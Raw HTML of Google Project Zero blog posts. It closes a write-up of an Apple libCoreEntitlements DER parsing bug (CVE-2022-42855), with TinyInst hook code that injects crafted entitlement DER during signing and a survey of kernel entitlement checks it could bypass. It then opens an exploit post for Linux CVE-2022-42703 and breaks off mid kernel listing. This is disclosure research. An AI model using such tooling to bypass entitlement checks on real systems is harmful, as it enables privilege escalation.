<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> der </span><span class="wUhACgDjbS-c0">=</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">char</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">*)</span><span class="wUhACgDjbS-c5">malloc</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">der_size</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> file</span><span class="wUhACgDjbS-c0">.</span><span class="wUhACgDjbS-c5">read</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">der</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> der_size</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">}</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESizeSerializationHook</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">OnFunctionEntered</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">// 3rd argument (output) is a pointer to the size</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> printf</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c3">"In CESizeSerialization\n"</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> size_t out_addr </span><span class="wUhACgDjbS-c0">=</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">GetArg</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">2</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">RemoteWrite</span><span class="wUhACgDjbS-c0">((</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c0">*)</span><span class="wUhACgDjbS-c5">out_addr</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">&</span><span class="wUhACgDjbS-c5">der_size</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">sizeof</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">der_size</span><span class="wUhACgDjbS-c0">));</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">SetReturnValue</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">kCENoError</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">}</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESerializeWithOptionsHook</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">OnFunctionEntered</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">// 5th argument points to output buffer</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> printf</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c3">"In CESerializeWithOptions\n"</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> size_t out_addr </span><span class="wUhACgDjbS-c0">=</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">GetArg</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c24">4</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">RemoteWrite</span><span class="wUhACgDjbS-c0">((</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c0">*)</span><span class="wUhACgDjbS-c5">out_addr</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> der</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> der_size</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">SetReturnValue</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">kCENoError</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">}</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CEInst</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CEInst</span><span class="wUhACgDjbS-c0">()</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">ReadEntitlementsFile</span><span class="wUhACgDjbS-c0">();</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">RegisterHook</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">new</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESizeSerializationHook</span><span class="wUhACgDjbS-c0">());</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">RegisterHook</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">new</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CESerializeWithOptionsHook</span><span class="wUhACgDjbS-c0">());</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">}</span></p>
<p class="wUhACgDjbS-c7"><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"></span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">CEInst</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">OnModuleLoaded</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c0">*</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">module</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">char</span><span class="wUhACgDjbS-c0">*</span><span class="wUhACgDjbS-c5"> module_name</span><span class="wUhACgDjbS-c0">)</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">if</span><span class="wUhACgDjbS-c0">(!</span><span class="wUhACgDjbS-c5">strcmp</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">module_name</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c3">"libCoreEntitlements.dylib"</span><span class="wUhACgDjbS-c0">))</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">{</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">// we must get the value of kCENoError,</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c28">// which is libCoreEntitlements return value in case no error</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> size_t kCENoError_addr </span><span class="wUhACgDjbS-c0">=</span><span class="wUhACgDjbS-c11 wUhACgDjbS-c5"> </span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0"> (</span><span class="wUhACgDjbS-c5">size_t</span><span class="wUhACgDjbS-c0">)</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">GetSymbolAddress</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">module</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">char</span><span class="wUhACgDjbS-c0">*)</span><span class="wUhACgDjbS-c3">"_kCENoError"</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">if</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">(!</span><span class="wUhACgDjbS-c5">kCENoError_addr</span><span class="wUhACgDjbS-c0">)</span><span class="wUhACgDjbS-c5"> FATAL</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c3">"Error resolving symbol"</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">RemoteRead</span><span class="wUhACgDjbS-c0">((</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">void</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">*)</span><span class="wUhACgDjbS-c5">kCENoError_addr</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">&</span><span class="wUhACgDjbS-c5">kCENoError</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">sizeof</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5">kCENoError</span><span class="wUhACgDjbS-c0">));</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c0">}</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c5"> </span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">TinyInst</span><span class="wUhACgDjbS-c0">::</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c8">OnModuleLoaded</span><span class="wUhACgDjbS-c0">(</span><span class="wUhACgDjbS-c5 wUhACgDjbS-c17">module</span><span class="wUhACgDjbS-c0">,</span><span class="wUhACgDjbS-c5"> module_name</span><span class="wUhACgDjbS-c0">);</span></p>
<p class="wUhACgDjbS-c10"><span class="wUhACgDjbS-c0">}</span></p></td></tr></table>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>HookReplace (base class for our 2 hooks) is a helper class used to completely replace the function implementation with the hook. </span><span class="wUhACgDjbS-c4">CESizeSerializationHook::OnFunctionEntered()</span><span> and </span><span class="wUhACgDjbS-c4">CESerializeWithOptionsHook::OnFunctionEntered()</span><span> are the bodies of the hooks. Additional code is needed to read the replacement entitlement DER and also to retrieve the value of kCENoError, which is a value libCoreEntitlements functions return on success and that we must return from our hooked versions. Note that, on macOS Monterey, </span><span class="wUhACgDjbS-c4">CESerializeWithOptions</span><span> should be replaced with </span><span class="wUhACgDjbS-c4">CESerialize</span><span class="wUhACgDjbS-c6"> and the 3rd argument will be the output address rather than 4th.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">So, with that in place, I could sign a binary using DER provided in the entitlements.der file.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Now, with the tooling in place, the question becomes, how to exploit it. Or rather, which entitlement to target. In order to exploit the issue, we need to find an entitlement check that is ultimately made using </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span class="wUhACgDjbS-c6"> API. Unfortunately, that rules out most userspace daemons - all the ones I looked at still did entitlement checking the “old way”, by first obtaining a dictionary representation of entitlements. That leaves “just” the entitlement checks done by the OS kernel.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Fortunately, a lot of checks in the kernel are made using the vulnerable API. Some of these checks are done by </span><span class="wUhACgDjbS-c4">AppleMobileFileIntegrity</span><span> itself using functions like </span><span class="wUhACgDjbS-c4">OSEntitlements::queryEntitlementsFor</span><span>, </span><span class="wUhACgDjbS-c4">AppleMobileFileIntegrity::AMFIEntitlementGetBool</span><span> or </span><span class="wUhACgDjbS-c4">proc_has_entitlement</span><span>. But there are other APIs as well. For example, the </span><span class="wUhACgDjbS-c4">IOTaskHasEntitlement</span><span> and </span><span class="wUhACgDjbS-c4">IOCurrentTaskHasEntitlement</span><span> functions that are used from over a hundred places in the kernel (according to macOS Monterey kernel cache) end up calling </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span> (by first calling </span><span class="wUhACgDjbS-c4">amfi->OSEntitlements_query()</span><span class="wUhACgDjbS-c6">).</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>One other potentially vulnerable API was </span><span class="wUhACgDjbS-c4">IOUserClient::copyClientEntitlement</span><span>, but only on Apple silicon, where </span><span class="wUhACgDjbS-c4">pmap_cs_enabled()</span><span> is true. Although I didn’t test this, </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://github.com/apple-oss-distributions/xnu/blob/e7776783b89a353188416a9a346c6cdb4928faad/iokit/Kernel/IOUserClient.cpp#L1480">there is some indication</a></span><span> that in that case the </span><span class="wUhACgDjbS-c4">CEContextQuery</span><span> API or something similar to it is used. </span><span class="wUhACgDjbS-c4">IOUserClient::copyClientEntitlement</span><span class="wUhACgDjbS-c6"> is most notably used by device drivers to check entitlements.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>I attempted to exploit the issue on both macOS and iOS. On macOS, I found places where such an entitlement bypass could be used to unlock previously unreachable attack surfaces, but nothing that would immediately provide a stand-alone exploit. In the end, to report something while looking for a better primitive, I </span><span class="wUhACgDjbS-c15"><a class="wUhACgDjbS-c181" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2376">reported</a></span><span> that I was able to invoke functionality of the </span><span class="wUhACgDjbS-c4">kext_request</span><span class="wUhACgDjbS-c6"> API (kernel extension API) that I normally shouldn’t be able to do, even as the root user. At the time, I did my testing on macOS Monterey, versions 12.6 and 12.6.1.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">On iOS, exploiting such an issue would potentially be more interesting, as it could be used as part of a jailbreak. I was experimenting with iOS 16.1 and nothing I tried seemed to work, but due to the lack of introspection on the iOS platform I couldn’t figure out why at the time.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">That is, until I received a reply from Apple on my macOS report, asking me if I can reproduce on macOS Ventura. macOS Ventura was just released in the same week when I sent my report to Apple and I was hesitant to upgrade to a new major version while having a working setup on macOS Monterey. But indeed, when I upgraded to Ventura, and after making sure my tooling still works, the DER issue wouldn’t reproduce anymore. This was likely also the reason all of my iOS experiments were unsuccessful: iOS 16 shares the codebase with macOS Ventura.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>It appears that the issue was fixed due to refactoring and not as a security issue (macOS Monterey would be updated in this case as well as Apple releases some security patches not just for the latest major version of macOS, but also for the two previous ones). Looking at the code, it appears the API </span><span class="wUhACgDjbS-c4">libCoreEntitlements</span><span> uses to do low-level DER parsing has changed somewhat - on macOS Monterey, </span><span class="wUhACgDjbS-c4">libCoreEntitlements</span><span> used mostly </span><span class="wUhACgDjbS-c4">ccder_decode</span><span>* functions to interact with DER, while on macOS ventura </span><span class="wUhACgDjbS-c4">ccder_blob_decode</span><span>* functions are used more often. The latter additionally take the parent DER structure as input and thus make processing of hierarchical DER structure somewhat less error-prone. As a consequence of this change, </span><span class="wUhACgDjbS-c4">der_vm_execute_nocopy</span><span class="wUhACgDjbS-c6"> continues processing the next key/value sequence after the end of the current one (which is the intended behavior) and not, as before, after the end of the value object. At this point, since I could no longer reproduce the issue on the latest OS release, I was no longer motivated to write the exploit and stopped my efforts in order to focus on other projects.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>Apple addressed the issue as CVE-2022-42855 on December 13, 2022. While Apple applied the CVE to all supported versions of their operating systems, including macOS Ventura and iOS 16, on those latest OS versions the patch seems to serve as an additional validation step. Specifically, on macOS Ventura, the patch is applied to function </span><span class="wUhACgDjbS-c4">der_decode_key_value</span><span class="wUhACgDjbS-c6"> and makes sure that the key/value sequence does not contain other elements besides just key and the value (in other words, it makes sure that the length of the sequence matches length of key + value objects).</span></p><h2 class="wUhACgDjbS-c9" id="h.wim4vvikllfz"><span class="wUhACgDjbS-c11 wUhACgDjbS-c21">Conclusion</span></h2>
<p class="wUhACgDjbS-c1"><span>It is difficult to claim that a particular code base has no vulnterabilities. While that might be possible for a </span><span class="wUhACgDjbS-c29">specific type</span><span> of vulnerabilities, it is difficult, and potentially impossible, to predict all types of vulnerabilities a complex codebase might have. After all, you can’t reason about what you don’t know.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span class="wUhACgDjbS-c6">While DER encoding is certainly a much safer choice than XML when it comes to parsing logic issues, this blog post demonstrates that such issues are still possible even with the DER format.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>
<p class="wUhACgDjbS-c1"><span>And what about the SHA1 collision? While the identical prefix attack shouldn’t work against DER, doesn’t that still leave the chosen prefix attack? Maybe, but that’s something to explore another time. Or maybe (hopefully) Apple will remove SHA1 support in their signature blobs and there will be nothing to explore at all.</span></p>
<p class="wUhACgDjbS-c1 wUhACgDjbS-c12"><span class="wUhACgDjbS-c6"></span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-25156280305027529732022-12-08T11:04:00.000-08:002022-12-08T11:04:18.790-08:00Exploiting CVE-2022-42703 - Bringing back the stack attack<p><span style="font-family: Arial; font-size: 11pt; font-style: italic; white-space: pre-wrap;">Seth Jenkins, Project Zero</span></p><span id="docs-internal-guid-80db8a65-7fff-c0a2-2d4d-7a9f80d725d3"><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This blog post details an exploit for </span><a href="https://bugs.chromium.org/p/project-zero/issues/list?q=label:CVE-2022-42703" style="text-decoration-line: none;"><span style="color: green; font-family: Roboto, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CVE-2022-42703</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> (P0 </span><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2351" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">issue 2351</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> - Fixed 5 September 2022), a bug Jann Horn found in the Linux kernel's memory management (MM) subsystem that leads to a use-after-free on </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. As the bug is very complex (I certainly struggle to understand it!), a future blog post will describe the bug in full. For the time being, the </span><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2351" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">issue tracker entry</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, </span><a href="https://lwn.net/Articles/383162/" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">this LWN article</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> explaining what an </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is and </span><a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7a3ef208e662f" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">the commit</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> that introduced the bug are great resources in order to gain additional context.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Setting the scene</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Successfully triggering the underlying vulnerability causes </span><span style="background-color: #b4a7d6; font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">folio->mapping</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> to point to a freed </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> object. Calling </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">madvise(..., MADV_PAGEOUT)</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">can then be used to repeatedly trigger accesses to the freed </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">anon_vma</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> in </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">folio_lock_anon_vma_read()</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">:</span></p><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct anon_vma *folio_lock_anon_vma_read(struct folio *folio,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> struct rmap_walk_control *rwc)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct anon_vma *anon_vma = NULL;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">struct anon_vma *root_anon_vma;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">unsigned long anon_mapping;</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span 